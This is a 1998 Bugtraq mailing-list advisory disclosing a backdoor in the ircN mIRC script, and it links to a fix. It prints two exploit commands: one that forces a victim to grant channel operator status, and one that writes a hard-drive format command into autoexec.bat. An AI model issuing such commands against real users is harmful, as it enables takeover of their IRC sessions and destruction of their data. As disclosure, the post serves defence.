Bugtraq mailing list archives

Backdoor in ircN, popular mIRC script.

From: kkr () engulf com (Nick Koscianski)
Date: Thu, 23 Jul 1998 20:58:33 -0400


A backdoor has been found in ircN, possibly the most popular mIRC
script.  Using the command /ctcpreply, any user can make someone using
the backdoored versions do whatever they want.  For example:
/ctcpreply Dianora ping $mode(#us-opers,+o,hax0r)
will force Dianora to give ops to hax0r in #us-opers.

also, they can be forced to run arbitrary programs, for example:

/ctcpreply Dianora $run(echo,"echo,y,|,format,c:\",>,c:\autoexec.bat)
will format this person's hard drive..definately not good.

A bug fix for this problem can be found at http://www.vode.org/ircN


-KKR

Current thread:

Backdoor in ircN, popular mIRC script. Nick Koscianski (Jul 23)
- Re: Backdoor in ircN, popular mIRC script. Benoit Lefebvre (Jul 23)
  - espernet irc services McClain Looney (Jul 24)
  - smal bug in icmpinfo Adrian Dabrowski (Jul 26)
    - Re: smal bug in icmpinfo Rich Lafferty (Jul 26)
- CFINGERD root security hole John Goerzen (Jul 23)
  - Re: CFINGERD root security hole Roscinante (Jul 24)
  - Microsoft Security Bulletin (MS98-006) Aleph One (Jul 24)
  - SECURITY: new ncurses packages twiztah (Jul 24)
  - FW: Microsoft Security Bulletin (MS98-007) MacGyver (Jul 24)
  - Microsoft Security Bulletin (MS98-007) Aleph One (Jul 25)

(Thread continues...)